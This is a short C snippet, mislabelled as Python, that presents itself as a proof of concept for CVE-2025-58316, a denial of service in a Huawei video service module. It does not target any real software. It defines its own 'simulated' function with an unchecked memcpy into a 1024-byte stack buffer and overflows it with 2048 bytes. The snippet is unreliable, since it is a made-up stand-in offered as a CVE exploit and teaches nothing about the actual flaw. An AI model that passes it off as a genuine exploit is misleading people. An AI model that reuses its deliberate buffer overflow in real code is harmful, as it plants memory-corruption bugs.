The following code is for security research and authorized testing only.
python
// CVE-2025-58316 PoC - Local DoS on Huawei Video Service Module
// This PoC demonstrates triggering a denial of service condition
// in the video-related system service module
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Simulated vulnerable function in video service module
void process_video_frame(unsigned char* frame_data, int length) {
// Vulnerable code: missing proper bounds checking
unsigned char buffer[1024];
memcpy(buffer, frame_data, length); // No length validation
// Additional vulnerable processing...
}
// Trigger the vulnerability
int trigger_dos() {
// Craft malicious video frame with oversized data
int oversized_length = 2048; // Exceeds buffer size
unsigned char* malicious_frame = malloc(oversized_length);
if (malicious_frame == NULL) {
return -1;
}
memset(malicious_frame, 0xFF, oversized_length);
// This will trigger the DoS condition
process_video_frame(malicious_frame, oversized_length);
free(malicious_frame);
return 0;
}
int main() {
printf("CVE-2025-58316 PoC - Triggering DoS...\n");
trigger_dos();
return 0;
}